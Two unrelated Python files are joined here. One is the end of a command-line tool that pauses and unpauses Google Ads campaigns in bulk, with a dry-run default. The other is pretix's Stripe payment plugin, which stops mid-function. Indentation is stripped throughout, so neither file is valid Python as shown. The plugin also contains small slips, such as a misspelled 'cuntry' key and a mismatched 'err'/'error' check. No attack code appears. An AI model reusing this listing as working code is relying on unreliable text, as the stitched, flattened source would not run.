with open(os.path.join(blob_directory, sha1_hash), 'rb') as f:
return json.load(f)
def load_campaign_sets(sha1_hash):
return load_blob(sha1_hash)['campaign_sets']
def store_blob(obj):
data = json.dumps(obj, sort_keys=True).encode('utf-8')
sha1_hash = sha1(data).hexdigest()
with open(os.path.join(blob_directory, sha1_hash), 'wb') as f:
f.write(data)
return sha1_hash
def store_customer_campaign_set(customer_id, campaign_ids):
return store_blob(
{
'customer_id': customer_id,
'campaign_ids': sorted(campaign_ids),
}
)
def store_campaign_sets(campaign_sets):
return store_blob(
{
'campaign_sets': sorted(campaign_sets),
}
)
def collect_campaign_ids(client, customer_id):
service = client.get_service('GoogleAdsService', version='v8')
return [
row.campaign.id
for response in query(
service,
customer_id,
"""
SELECT campaign.id
FROM campaign
WHERE
campaign.status = 'ENABLED'
AND campaign.experiment_type = 'BASE'
AND campaign.advertising_channel_type != 'VIDEO'
AND campaign.advertising_channel_type != 'LOCAL'""",
)
for row in response.results
]
def retrieve_campaign_ids(
client, verbose, customer_ids, campaign_sets, progress_queue
):
while True:
try:
customer_id = customer_ids.get_nowait()
except Empty:
return
ids = collect_campaign_ids(client, customer_id)
campaign_set = store_customer_campaign_set(customer_id, ids)
campaign_sets.put(campaign_set)
progress_queue.put_nowait(('customers', 1))
progress_queue.put_nowait(('campaigns', len(ids)))
customer_ids.task_done()
def get_operation(client, service, customer_id, campaign_id, is_pause):
operation = client.get_type('CampaignOperation', version='v8')
campaign = operation.update
campaign.resource_name = service.campaign_path(customer_id, campaign_id)
enum = client.get_type('CampaignStatusEnum', version='v8')
campaign.status = enum.PAUSED if is_pause else enum.ENABLED
operation.update_mask.CopyFrom(protobuf_helpers.field_mask(None, campaign))
return operation
def mutate_campaigns(
client,
service,
sha1_hash,
verbose,
no_dry_run,
is_pause,
campaign_set_queue,
progress_queue,
):
campaign_set = load_blob(sha1_hash)
customer_id = campaign_set['customer_id']
campaign_ids = campaign_set['campaign_ids']
if not campaign_ids:
progress_queue.put(('customers', 1))
return
for chunk in grouper(campaign_ids, 1000):
request = client.get_type('MutateCampaignsRequest')
request.customer_id = str(customer_id)
request.validate_only = not no_dry_run
for campaign_id in chunk:
if campaign_id:
request.operations.append(
get_operation(
client, service, customer_id, campaign_id, is_pause
)
)
service.mutate_campaigns(request)
progress_queue.put(('campaigns', len(request.operations)))
progress_queue.put(('customers', 1))
def mutate_worker(
client, verbose, no_dry_run, is_pause, campaign_set_queue, progress_queue
):
service = client.get_service('CampaignService', version='v8')
while True:
try:
sha1_hash = campaign_set_queue.get_nowait()
except Empty:
return
try:
mutate_campaigns(
client,
service,
sha1_hash,
verbose,
no_dry_run,
is_pause,
campaign_set_queue,
progress_queue,
)
except Exception:
# We don't want this worker thread to die and block joining
# at the end of the process.
traceback.print_exc()
campaign_set_queue.task_done()
def get_all(queue):
while True:
try:
yield queue.get_nowait()
except Empty:
return
def start_workers(num, func, args):
for i in range(num):
Thread(target=func, args=args).start()
def progress_monitor(totals, progress_queue, exit_queue):
progress = defaultdict(int)
while True:
metric, n = progress_queue.get()
progress[metric] += n
end = "\n" if metric == 'exit' else "\r"
print(
f" completed {progress['customers']}/{totals['customers']} "
f"customers and {progress['campaigns']} campaigns",
end=end,
)
if metric == 'exit':
exit_queue.put(True)
return
def start_progress_monitor(totals):
progress_queue = Queue()
exit_queue = Queue()
Thread(
target=progress_monitor, args=(totals, progress_queue, exit_queue)
).start()
return progress_queue, exit_queue
def collect(client, args):
customer_id_queue = Queue()
campaign_set_queue = Queue()
print('[1/3] getting customer ids...')
customer_ids = collect_customer_ids(client)
customer_count = len(customer_ids)
if customer_count == 1:
print('found one customer')
else:
print(f'found {customer_count} customers')
for customer_id in customer_ids:
customer_id_queue.put(customer_id)
progress_queue, exit_queue = start_progress_monitor(
{'customers': customer_count}
)
progress_queue.put_nowait(('init', 1))
print('[2/3] getting campaign ids...')
start_workers(
args.workers,
retrieve_campaign_ids,
(
client,
args.verbose,
customer_id_queue,
campaign_set_queue,
progress_queue,
),
)
customer_id_queue.join()
progress_queue.put_nowait(('exit', 1))
exit_queue.get()
campaign_sets = store_campaign_sets(get_all(campaign_set_queue))
print(f'[2/3] committed campaign sets {campaign_sets}')
return campaign_sets
def pause_unpause(client, args, is_pause):
campaign_sets_id = args.campaign_sets or collect(client, args)
step_num = 1 if args.campaign_sets else 3
step = f'[{step_num}/{step_num}]'
print(f'{step} loading campaign sets {campaign_sets_id}...')
campaign_set_queue = Queue()
campaign_sets = load_campaign_sets(campaign_sets_id)
for campaign_set in campaign_sets:
campaign_set_queue.put(campaign_set)
progress_queue, exit_queue = start_progress_monitor(
{'customers': len(campaign_sets)}
)
progress_queue.put_nowait(('init', 1))
print(f"{step} {'' if is_pause else 'un'}pausing campaigns...")
start_workers(
args.workers,
mutate_worker,
(
client,
args.verbose,
args.no_dry_run,
is_pause,
campaign_set_queue,
progress_queue,
),
)
campaign_set_queue.join()
progress_queue.put_nowait(('exit', 1))
exit_queue.get()
print('done')
if is_pause:
print('you can unpause by running')
print(f'{sys.argv[0]} unpause --no-dry-run {campaign_sets_id}')
def pause(client, args):
return pause_unpause(client, args, True)
def unpause(client, args):
return pause_unpause(client, args, False)
def setup(client, args):
print('All set up!')
def parse_arguments(args):
parser = ArgumentParser(
formatter_class=RawDescriptionHelpFormatter,
description=banner + '\n\nEmergency stop for all Google SEM',
)
subparsers = parser.add_subparsers(help='sub-command help')
all_shared = ArgumentParser(add_help=False)
all_shared.add_argument(
'--workers',
help='use NUM workers in parallel',
type=int,
metavar='NUM',
default=16,
)
all_shared.add_argument('-v', '--verbose', action='store_true')
collect_parser = subparsers.add_parser(
'collect', help='only collect campaign ids', parents=[all_shared]
)
collect_parser.set_defaults(func=collect)
mutation_shared = ArgumentParser(add_help=False)
mutation_shared.add_argument(
'--no-dry-run',
help='actually perform the mutations',
action='store_true',
)
pause_parser = subparsers.add_parser(
'pause', help='pause campaigns', parents=[all_shared, mutation_shared]
)
pause_parser.add_argument(
'campaign_sets',
help='use CAMPAIGN-SETS for pausing',
metavar='CAMPAIGN-SETS',
nargs='?',
)
pause_parser.set_defaults(func=pause)
unpause_parser = subparsers.add_parser(
'unpause',
help='unpause campaigns',
parents=[all_shared, mutation_shared],
)
unpause_parser.add_argument(
'campaign_sets',
help='use CAMPAIGN-SETS for unpausing (use the hash from pausing)',
metavar='CAMPAIGN-SETS',
)
unpause_parser.set_defaults(func=unpause)
setup_parser = subparsers.add_parser(
'setup', help='set up authentication only', parents=[all_shared]
)
setup_parser.set_defaults(func=setup)
return parser.parse_args(args or ['pause', '--help'])
def run():
os.makedirs(blob_directory, exist_ok=True)
args = parse_arguments(sys.argv[1:])
print(banner)
credentials = {
**load_organization_auth(),
**load_user_auth(),
'use_proto_plus': False,
}
client = GoogleAdsClient.load_from_dict(credentials)
if 'no_dry_run' in args:
if args.no_dry_run:
print(
"\033[31mYou are about to do a non-dry run, please type YOLO:"
)
if input('> ') != 'YOLO':
print('alright, that was close!')
sys.exit(-1)
else:
print('*** THIS IS A DRY RUN ***')
print('to perform a non-dry run, supply --no-dry-run')
args.func(client, args)
if 'no_dry_run' in args and not args.no_dry_run:
print('*** THIS WAS A DRY RUN ***')
|
#
# This file is part of pretix (Community Edition).
#
# Copyright (C) 2014-2020 Raphael Michel and contributors
# Copyright (C) 2020-2021 rami.io GmbH and contributors
#
# This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General
# Public License as published by the Free Software Foundation in version 3 of the License.
#
# ADDITIONAL TERMS APPLY: Pursuant to Section 7 of the GNU Affero General Public License, additional terms are
# applicable granting you additional permissions and placing additional restrictions on your usage of this software.
# Please refer to the pretix LICENSE file to obtain the full terms applicable to this work. If you did not receive
# this file, see <https://pretix.eu/about/en/license>.
#
# This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more
# details.
#
# You should have received a copy of the GNU Affero General Public License along with this program. If not, see
# <https://www.gnu.org/licenses/>.
#
# This file is based on an earlier version of pretix which was released under the Apache License 2.0. The full text of
# the Apache License 2.0 can be obtained at <http://www.apache.org/licenses/LICENSE-2.0>.
#
# This file may have since been changed and any changes are released under the terms of AGPLv3 as described above. A
# full history of changes and contributors is available at <https://github.com/pretix/pretix>.
#
# This file contains Apache-licensed contributions copyrighted by: FlaviaBastos, Jakob Schnell, Tobias Kunze, luto
#
# Unless required by applicable law or agreed to in writing, software distributed under the Apache License 2.0 is
# distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations under the License.
import hashlib
import json
import logging
import re
import urllib.parse
from collections import OrderedDict
from decimal import Decimal
import stripe
from django import forms
from django.conf import settings
from django.contrib import messages
from django.core import signing
from django.db import transaction
from django.http import HttpRequest
from django.template.loader import get_template
from django.urls import reverse
from django.utils.crypto import get_random_string
from django.utils.safestring import mark_safe
from django.utils.timezone import now
from django.utils.translation import gettext, gettext_lazy as _, pgettext
from django_countries import countries
from pretix import __version__
from pretix.base.decimal import round_decimal
from pretix.base.forms import SecretKeySettingsField
from pretix.base.models import Event, OrderPayment, OrderRefund, Quota
from pretix.base.payment import BasePaymentProvider, PaymentException
from pretix.base.plugins import get_all_plugins
from pretix.base.services.mail import SendMailException
from pretix.base.settings import SettingsSandbox
from pretix.helpers.urls import build_absolute_uri as build_global_uri
from pretix.multidomain.urlreverse import build_absolute_uri, eventreverse
from pretix.plugins.stripe.forms import StripeKeyValidator
from pretix.plugins.stripe.models import (
ReferencedStripeObject, RegisteredApplePayDomain,
)
from pretix.plugins.stripe.tasks import (
get_stripe_account_key, stripe_verify_domain,
)
logger = logging.getLogger('pretix.plugins.stripe')
class StripeSettingsHolder(BasePaymentProvider):
identifier = 'stripe_settings'
verbose_name = _('Stripe')
is_enabled = False
is_meta = True
def __init__(self, event: Event):
super().__init__(event)
self.settings = SettingsSandbox('payment', 'stripe', event)
def get_connect_url(self, request):
request.session['payment_stripe_oauth_event'] = request.event.pk
if 'payment_stripe_oauth_token' not in request.session:
request.session['payment_stripe_oauth_token'] = get_random_string(32)
return (
"https://connect.stripe.com/oauth/authorize?response_type=code&client_id={}&state={}"
"&scope=read_write&redirect_uri={}"
).format(
self.settings.connect_client_id,
request.session['payment_stripe_oauth_token'],
urllib.parse.quote(build_global_uri('plugins:stripe:oauth.return')),
)
def settings_content_render(self, request):
if self.settings.connect_client_id and not self.settings.secret_key:
# Use Stripe connect
if not self.settings.connect_user_id:
return (
"<p>{}</p>"
"<a href='{}' class='btn btn-primary btn-lg'>{}</a>"
).format(
_('To accept payments via Stripe, you will need an account at Stripe. By clicking on the '
'following button, you can either create a new Stripe account connect pretix to an existing '
'one.'),
self.get_connect_url(request),
_('Connect with Stripe')
)
else:
return (
"<button formaction='{}' class='btn btn-danger'>{}</button>"
).format(
reverse('plugins:stripe:oauth.disconnect', kwargs={
'organizer': self.event.organizer.slug,
'event': self.event.slug,
}),
_('Disconnect from Stripe')
)
else:
return "<div class='alert alert-info'>%s<br /><code>%s</code></div>" % (
_('Please configure a <a href="https://dashboard.stripe.com/account/webhooks">Stripe Webhook</a> to '
'the following endpoint in order to automatically cancel orders when charges are refunded externally '
'and to process asynchronous payment methods like SOFORT.'),
build_global_uri('plugins:stripe:webhook')
)
@property
def settings_form_fields(self):
if 'pretix_resellers' in [p.module for p in get_all_plugins()]:
moto_settings = [
('reseller_moto',
forms.BooleanField(
label=_('Enable MOTO payments for resellers'),
help_text=(
_('Gated feature (needs to be enabled for your account by Stripe support first)') +
'<div class="alert alert-danger">%s</div>' % _(
'We can flag the credit card transaction you make through the reseller interface as MOTO '
'(Mail Order / Telephone Order), which will exempt them from Strong Customer '
'Authentication (SCA) requirements. However: By enabling this feature, you will need to '
'fill out yearly PCI-DSS self-assessment forms like the 40 page SAQ D. Please consult the '
'%s for further information on this subject.' %
'<a href="https://stripe.com/docs/security">{}</a>'.format(
_('Stripe Integration security guide')
)
)
),
required=False,
))
]
else:
moto_settings = []
if self.settings.connect_client_id and not self.settings.secret_key:
# Stripe connect
if self.settings.connect_user_id:
fields = [
('connect_user_name',
forms.CharField(
label=_('Stripe account'),
disabled=True
)),
('endpoint',
forms.ChoiceField(
label=_('Endpoint'),
initial='live',
choices=(
('live', pgettext('stripe', 'Live')),
('test', pgettext('stripe', 'Testing')),
),
help_text=_('If your event is in test mode, we will always use Stripe\'s test API, '
'regardless of this setting.')
)),
]
else:
return {}
else:
allcountries = list(countries)
allcountries.insert(0, ('', _('Select country')))
fields = [
('publishable_key',
forms.CharField(
label=_('Publishable key'),
help_text=_('<a target="_blank" rel="noopener" href="{docs_url}">{text}</a>').format(
text=_('Click here for a tutorial on how to obtain the required keys'),
docs_url='https://docs.pretix.eu/en/latest/user/payments/stripe.html'
),
validators=(
StripeKeyValidator('pk_'),
),
)),
('secret_key',
SecretKeySettingsField(
label=_('Secret key'),
validators=(
StripeKeyValidator(['sk_', 'rk_']),
),
)),
('merchant_country',
forms.ChoiceField(
choices=allcountries,
label=_('Merchant country'),
help_text=_('The country in which your Stripe-account is registered in. Usually, this is your '
'country of residence.'),
)),
]
d = OrderedDict(
fields + [
('method_cc',
forms.BooleanField(
label=_('Credit card payments'),
required=False,
)),
('method_giropay',
forms.BooleanField(
label=_('giropay'),
disabled=self.event.currency != 'EUR',
help_text=_('Needs to be enabled in your Stripe account first.'),
required=False,
)),
('method_ideal',
forms.BooleanField(
label=_('iDEAL'),
disabled=self.event.currency != 'EUR',
help_text=_('Needs to be enabled in your Stripe account first.'),
required=False,
)),
('method_alipay',
forms.BooleanField(
label=_('Alipay'),
disabled=self.event.currency not in ('EUR', 'AUD', 'CAD', 'GBP', 'HKD', 'JPY', 'NZD', 'SGD', 'USD'),
help_text=_('Needs to be enabled in your Stripe account first.'),
required=False,
)),
('method_bancontact',
forms.BooleanField(
label=_('Bancontact'),
disabled=self.event.currency != 'EUR',
help_text=_('Needs to be enabled in your Stripe account first.'),
required=False,
)),
('method_sofort',
forms.BooleanField(
label=_('SOFORT'),
disabled=self.event.currency != 'EUR',
help_text=(
_('Needs to be enabled in your Stripe account first.') +
'<div class="alert alert-warning">%s</div>' % _(
'Despite the name, Sofort payments via Stripe are <strong>not</strong> processed '
'instantly but might take up to <strong>14 days</strong> to be confirmed in some cases. '
'Please only activate this payment method if your payment term allows for this lag.'
)
),
required=False,
)),
('method_eps',
forms.BooleanField(
label=_('EPS'),
disabled=self.event.currency != 'EUR',
help_text=_('Needs to be enabled in your Stripe account first.'),
required=False,
)),
('method_multibanco',
forms.BooleanField(
label=_('Multibanco'),
disabled=self.event.currency != 'EUR',
help_text=_('Needs to be enabled in your Stripe account first.'),
required=False,
)),
('method_przelewy24',
forms.BooleanField(
label=_('Przelewy24'),
disabled=self.event.currency not in ['EUR', 'PLN'],
help_text=_('Needs to be enabled in your Stripe account first.'),
required=False,
)),
('method_wechatpay',
forms.BooleanField(
label=_('WeChat Pay'),
disabled=self.event.currency not in ['AUD', 'CAD', 'EUR', 'GBP', 'HKD', 'JPY', 'SGD', 'USD'],
help_text=_('Needs to be enabled in your Stripe account first.'),
required=False,
)),
] + list(super().settings_form_fields.items()) + moto_settings
)
if not self.settings.connect_client_id or self.settings.secret_key:
d['connect_destination'] = forms.CharField(
label=_('Destination'),
validators=(
StripeKeyValidator(['acct_']),
),
required=False
)
d.move_to_end('_enabled', last=False)
return d
class StripeMethod(BasePaymentProvider):
identifier = ''
method = ''
def __init__(self, event: Event):
super().__init__(event)
self.settings = SettingsSandbox('payment', 'stripe', event)
@property
def test_mode_message(self):
if self.settings.connect_client_id and not self.settings.secret_key:
is_testmode = True
else:
is_testmode = self.settings.secret_key and '_test_' in self.settings.secret_key
if is_testmode:
return mark_safe(
_('The Stripe plugin is operating in test mode. You can use one of <a {args}>many test '
'cards</a> to perform a transaction. No money will actually be transferred.').format(
args='href="https://stripe.com/docs/testing#cards" target="_blank"'
)
)
return None
@property
def settings_form_fields(self):
return {}
@property
def is_enabled(self) -> bool:
return self.settings.get('_enabled', as_type=bool) and self.settings.get('method_{}'.format(self.method),
as_type=bool)
def payment_refund_supported(self, payment: OrderPayment) -> bool:
return True
def payment_partial_refund_supported(self, payment: OrderPayment) -> bool:
return True
def payment_prepare(self, request, payment):
return self.checkout_prepare(request, None)
def _amount_to_decimal(self, cents):
places = settings.CURRENCY_PLACES.get(self.event.currency, 2)
return round_decimal(float(cents) / (10 ** places), self.event.currency)
def _decimal_to_int(self, amount):
places = settings.CURRENCY_PLACES.get(self.event.currency, 2)
return int(amount * 10 ** places)
def _get_amount(self, payment):
return self._decimal_to_int(payment.amount)
def _connect_kwargs(self, payment):
d = {}
if self.settings.connect_client_id and self.settings.connect_user_id:
fee = Decimal('0.00')
if self.settings.get('connect_app_fee_percent', as_type=Decimal):
fee = round_decimal(self.settings.get('connect_app_fee_percent', as_type=Decimal) * payment.amount / Decimal('100.00'), self.event.currency)
if self.settings.connect_app_fee_max:
fee = min(fee, self.settings.get('connect_app_fee_max', as_type=Decimal))
if self.settings.get('connect_app_fee_min', as_type=Decimal):
fee = max(fee, self.settings.get('connect_app_fee_min', as_type=Decimal))
if fee:
d['application_fee_amount'] = self._decimal_to_int(fee)
if self.settings.connect_destination:
d['transfer_data'] = {
'destination': self.settings.connect_destination
}
return d
def statement_descriptor(self, payment, length=22):
return '{event}-{code} {eventname}'.format(
event=self.event.slug.upper(),
code=payment.order.code,
eventname=re.sub('[^a-zA-Z0-9 ]', '', str(self.event.name))
)[:length]
@property
def api_kwargs(self):
if self.settings.connect_client_id and self.settings.connect_user_id:
if self.settings.get('endpoint', 'live') == 'live' and not self.event.testmode:
kwargs = {
'api_key': self.settings.connect_secret_key,
'stripe_account': self.settings.connect_user_id
}
else:
kwargs = {
'api_key': self.settings.connect_test_secret_key,
'stripe_account': self.settings.connect_user_id
}
else:
kwargs = {
'api_key': self.settings.secret_key,
}
return kwargs
def _init_api(self):
stripe.api_version = '2019-05-16'
stripe.set_app_info(
"pretix",
partner_id="pp_partner_FSaz4PpKIur7Ox",
version=__version__,
url="https://pretix.eu"
)
def checkout_confirm_render(self, request) -> str:
template = get_template('pretixplugins/stripe/checkout_payment_confirm.html')
ctx = {'request': request, 'event': self.event, 'settings': self.settings, 'provider': self}
return template.render(ctx)
def payment_can_retry(self, payment):
return self._is_still_available(order=payment.order)
def _charge_source(self, request, source, payment):
try:
params = {}
if not source.startswith('src_'):
params['statement_descriptor'] = self.statement_descriptor(payment)
params.update(self.api_kwargs)
params.update(self._connect_kwargs(payment))
charge = stripe.Charge.create(
amount=self._get_amount(payment),
currency=self.event.currency.lower(),
source=source,
description='{event}-{code}'.format(
event=self.event.slug.upper(),
code=payment.order.code
),
metadata={
'order': str(payment.order.id),
'event': self.event.id,
'code': payment.order.code
},
# TODO: Is this sufficient?
idempotency_key=str(self.event.id) + payment.order.code + source,
**params
)
except stripe.error.CardError as e:
if e.json_body:
err = e.json_body['error']
logger.exception('Stripe error: %s' % str(err))
else:
err = {'message': str(e)}
logger.exception('Stripe error: %s' % str(e))
logger.info('Stripe card error: %s' % str(err))
payment.fail(info={
'error': True,
'message': err['message'],
})
raise PaymentException(_('Stripe reported an error with your card: %s') % err['message'])
# This is not an error we normally expect, however some payment methods like iDEAL will redirect
# the user back to our confirmation page at the same time from two devices: the web browser the
# purchase is executed from and the online banking app the payment is authorized from.
# In this case we will just log the idempotency error but not expose it to the user and just
# forward them back to their order page. There is a good chance that by the time the user hits
# the order page, the other request has gone through and the payment is confirmed.
except stripe.error.IdempotencyError as e:
if e.json_body and 'error' in e.json_body:
err = e.json_body['error']
logger.exception('Stripe error: %s' % str(err))
else:
logger.exception('Stripe error: %s' % str(e))
return
except stripe.error.StripeError as e:
if e.json_body and 'error' in e.json_body:
err = e.json_body['error']
logger.exception('Stripe error: %s' % str(err))
else:
err = {'message': str(e)}
logger.exception('Stripe error: %s' % str(e))
payment.fail(info={
'error': True,
'message': err['message'],
})
raise PaymentException(_('We had trouble communicating with Stripe. Please try again and get in touch '
'with us if this problem persists.'))
else:
ReferencedStripeObject.objects.get_or_create(
reference=charge.id,
defaults={'order': payment.order, 'payment': payment}
)
if charge.status == 'succeeded' and charge.paid:
try:
payment.info = str(charge)
payment.confirm()
except Quota.QuotaExceededException as e:
raise PaymentException(str(e))
except SendMailException:
raise PaymentException(_('There was an error sending the confirmation mail.'))
elif charge.status == 'pending':
if request:
messages.warning(request, _('Your payment is pending completion. We will inform you as soon as the '
'payment completed.'))
payment.info = str(charge)
payment.state = OrderPayment.PAYMENT_STATE_PENDING
payment.save()
return
else:
logger.info('Charge failed: %s' % str(charge))
payment.fail(info=str(charge))
raise PaymentException(_('Stripe reported an error: %s') % charge.failure_message)
def payment_pending_render(self, request, payment) -> str:
if payment.info:
payment_info = json.loads(payment.info)
else:
payment_info = None
template = get_template('pretixplugins/stripe/pending.html')
ctx = {
'request': request,
'event': self.event,
'settings': self.settings,
'provider': self,
'order': payment.order,
'payment': payment,
'payment_info': payment_info,
'payment_hash': hashlib.sha1(payment.order.secret.lower().encode()).hexdigest()
}
return template.render(ctx)
def matching_id(self, payment: OrderPayment):
return payment.info_data.get("id", None)
def api_payment_details(self, payment: OrderPayment):
return {
"id": payment.info_data.get("id", None),
"payment_method": payment.info_data.get("payment_method", None)
}
def payment_control_render(self, request, payment) -> str:
if payment.info:
payment_info = json.loads(payment.info)
if 'amount' in payment_info:
payment_info['amount'] /= 10 ** settings.CURRENCY_PLACES.get(self.event.currency, 2)
else:
payment_info = None
template = get_template('pretixplugins/stripe/control.html')
ctx = {
'request': request,
'event': self.event,
'settings': self.settings,
'payment_info': payment_info,
'payment': payment,
'method': self.method,
'provider': self,
}
return template.render(ctx)
@transaction.atomic()
def execute_refund(self, refund: OrderRefund):
self._init_api()
payment_info = refund.payment.info_data
OrderPayment.objects.select_for_update().get(pk=refund.payment.pk)
if not payment_info:
raise PaymentException(_('No payment information found.'))
try:
if payment_info['id'].startswith('pi_'):
chargeid = payment_info['charges']['data'][0]['id']
else:
chargeid = payment_info['id']
ch = stripe.Charge.retrieve(chargeid, **self.api_kwargs)
kwargs = {}
if self.settings.connect_destination:
kwargs['reverse_transfer'] = True
r = ch.refunds.create(
amount=self._get_amount(refund),
**kwargs,
)
ch.refresh()
except (stripe.error.InvalidRequestError, stripe.error.AuthenticationError, stripe.error.APIConnectionError) \
as e:
if e.json_body and 'error' in e.json_body:
err = e.json_body['error']
logger.exception('Stripe error: %s' % str(err))
else:
err = {'message': str(e)}
logger.exception('Stripe error: %s' % str(e))
refund.info = err
refund.state = OrderRefund.REFUND_STATE_FAILED
refund.execution_date = now()
refund.save()
refund.order.log_action('pretix.event.order.refund.failed', {
'local_id': refund.local_id,
'provider': refund.provider,
'error': str(e)
})
raise PaymentException(_('We had trouble communicating with Stripe. Please try again and contact '
'support if the problem persists.'))
except stripe.error.StripeError as err:
logger.error('Stripe error: %s' % str(err))
raise PaymentException(_('Stripe returned an error'))
else:
refund.info = str(r)
if r.status in ('succeeded', 'pending'):
refund.done()
elif r.status in ('failed', 'canceled'):
refund.state = OrderRefund.REFUND_STATE_FAILED
refund.execution_date = now()
refund.save()
def execute_payment(self, request: HttpRequest, payment: OrderPayment):
self._init_api()
try:
source = self._create_source(request, payment)
except stripe.error.IdempotencyError as e:
# Same thing happening twice – we don't want to record a failure, as that might prevent the
# other thread from succeeding.
if e.json_body and 'error' in e.json_body:
err = e.json_body['error']
logger.exception('Stripe error: %s' % str(err))
else:
logger.exception('Stripe error: %s' % str(e))
return
except stripe.error.StripeError as e:
if e.json_body and 'err' in e.json_body:
err = e.json_body['error']
logger.exception('Stripe error: %s' % str(err))
else:
err = {'message': str(e)}
logger.exception('Stripe error: %s' % str(e))
payment.fail(info={
'error': True,
'message': err['message'],
})
raise PaymentException(_('We had trouble communicating with Stripe. Please try again and get in touch '
'with us if this problem persists.'))
ReferencedStripeObject.objects.get_or_create(
reference=source.id,
defaults={'order': payment.order, 'payment': payment}
)
payment.info = str(source)
payment.state = OrderPayment.PAYMENT_STATE_PENDING
payment.save()
request.session['payment_stripe_order_secret'] = payment.order.secret
return self.redirect(request, source.redirect.url)
def redirect(self, request, url):
if request.session.get('iframe_session', False):
signer = signing.Signer(salt='safe-redirect')
return (
build_absolute_uri(request.event, 'plugins:stripe:redirect') + '?url=' +
urllib.parse.quote(signer.sign(url))
)
else:
return str(url)
def shred_payment_info(self, obj: OrderPayment):
if not obj.info:
return
d = json.loads(obj.info)
new = {}
if d.get('source'):
new['source'] = {
'id': d['source'].get('id'),
'type': d['source'].get('type'),
'brand': d['source'].get('brand'),
'last4': d['source'].get('last4'),
'bank_name': d['source'].get('bank_name'),
'bank': d['source'].get('bank'),
'bic': d['source'].get('bic'),
'card': {
'brand': d['source'].get('card', {}).get('brand'),
'country': d['source'].get('card', {}).get('cuntry'),
'last4': d['source'].get('card', {}).get('last4'),
}
}
if 'amount' in d:
new['amount'] = d['amount']
if 'currency' in d:
new['currency'] = d['currency']
if 'status' in d:
new['status'] = d['status']
if 'id' in d:
new['id'] = d['id']
new['_shredded'] = True
obj.info = json.dumps(new)
obj.save(update_fields=['info'])
for le in obj.order.all_logentries().filter(
action_type="pretix.plugins.stripe.event"
).exclude(data="", shredded=True):
d = le.parsed_data
if 'data' in d:
for k, v in list(d['data']['object'].items()):
if v not in ('reason', 'status', 'failure_message', 'object', 'id'):
d['data']['object'][k] = '█'
le.data = json.dumps(d)
le.shredded = True
le.save(update_fields=['data', 'shredded'])
class StripeCC(StripeMethod):
identifier = 'stripe'
verbose_name = _('Credit card via Stripe')
public_name = _('Credit card')
method = 'cc'
def payment_form_render(self, request, total) -> str:
account = get_stripe_account_key(self)
if not RegisteredApplePayDomain.objects.filter(account=account, domain=request.host).exists():
stripe_verify_domain.apply_async(args=(self.event.pk, request.host))
template = get_template('pretixplugins/stripe/checkout_payment_form_cc.html')
ctx = {
'request': request,
'event': self.event,
'total': self._decimal_to_int(total),
'settings': self.settings,
'is_moto': self.is_moto(request)
}
return template.render(ctx)
def payment_is_valid_session(self, request):
return request.session.get('payment_stripe_payment_method_id', '') != ''
def checkout_prepare(self, request, cart):
payment_method_id = request.POST.get('stripe_payment_method_id', '')
request.session['payment_stripe_payment_method_id'] = payment_method_id
request.session['payment_stripe_brand'] = request.POST.get('stripe_card_brand', '')
request.session['payment_stripe_last4'] = request.POST.get('stripe_card_last4', '')
if payment_method_id == '':
messages.warning(request, _('You may need to enable JavaScript for Stripe payments.'))
return False
return True
def execute_payment(self, request: HttpRequest, payment: OrderPayment):
try:
return self._handle_payment_intent(request, payment)
finally:
del request.session['payment_stripe_payment_method_id']
def is_moto(self, request, payment=None) -> bool:
# We don't have a payment yet when checking if we should display the MOTO-flag
# However, before we execute the payment, we absolutely have to check if the request-SalesChannel as well as the
# order are tagged as a reseller-transaction. Else, a user with a valid reseller-session might be able to place
# a MOTO transaction trough the WebShop.
moto = self.settings.get('reseller_moto', False, as_type=bool) and \
request.sales_channel.identifier == 'resellers'
if payment:
return moto and payment.order.sales_channel == 'resellers'
return moto
def _handle_payment_intent(self, request, payment, intent=None):
self._init_api()
try:
if self.payment_is_valid_session(request):
params = {}
params.update(self._connect_kwargs(payment))
params.update(self.api_kwargs)
if self.is_moto(request, payment):
params.update({
'payment_method_options': {
'card': {
'moto': True
}
}
})
intent = stripe.PaymentIntent.create(
amount=self._get_amount(payment),
currency=self.event.currency.lower(),
payment_method=request.session['payment_stripe_payment_method_id'],
confirmation_method='manual',
confirm=True,
description='{event}-{code}'.format(
event=self.event.slug.upper(),
code=payment.order.code
),
statement_descriptor=self.statement_descriptor(payment),
metadata={
'order': str(payment.order.id),
'event': self.event.id,
'code': payment.order.code
},
# TODO: Is this sufficient?
idempotency_key=str(self.event.id) + payment.order.code + request.session['payment_stripe_payment_method_id'],
return_url=build_absolute_uri(self.event, 'plugins:stripe:sca.return', kwargs={
'order': payment.order.code,
'payment': payment.pk,
'hash': hashlib.sha1(payment.order.secret.lower().encode()).hexdigest(),
}),
**params
)
else:
payment_info = json.loads(payment.info)
if 'id' in payment_info:
if not intent:
intent = stripe.PaymentIntent.retrieve(
payment_info['id'],
**self.api_kwargs
)
else:
return
except stripe.error.CardError as e:
if e.json_body:
err = e.json_body['error']
logger.exception('Stripe error: %s' % str(err))
else:
err = {'message': str(e)}
logger.exception('Stripe error: %s' % str(e))
logger.info('Stripe card error: %s' % str(err))
payment.fail(info={
'error': True,
'message': err['message'],
})
raise PaymentException(_('Stripe reported an error with your card: %s') % err['message'])
except stripe.error.IdempotencyError as e:
# Same thing happening twice – we don't want to record a failure, as that might prevent the
# other thread from succeeding.
if e.json_body and 'error' in e.json_body:
err = e.json_body['error']
logger.exception('Stripe error: %s' % str(err))
else:
logger.exception('Stripe error: %s' % str(e))
return
except stripe.error.StripeError as e:
if e.json_body and 'error' in e.json_body:
err = e.json_body['error']
logger.exception('Stripe error: %s' % str(err))
else:
err = {'message': str(e)}
logger.exception('Stripe error: %s' % str(e))
payment.fail(info={
'error': True,
'message': err['message'],
})
raise PaymentException(_('We had trouble communicating with Stripe. Please try again and get in touch '
'with us if this problem persists.'))
else:
ReferencedStripeObject.objects.get_or_create(
reference=intent.id,
defaults={'order': payment.order, 'payment': payment}
)
if intent.status == 'requires_action':
payment.info = str(intent)
payment.state = OrderPayment.PAYMENT_STATE_CREATED
payment.save()
return build_absolute_uri(self.event, 'plugins:stripe:sca', kwargs={
'order': payment.order.code,
'payment': payment.pk,
'hash': hashlib.sha1(payment.order.secret.lower().encode()).hexdigest(),
})
if intent.status == 'requires_confirmation':
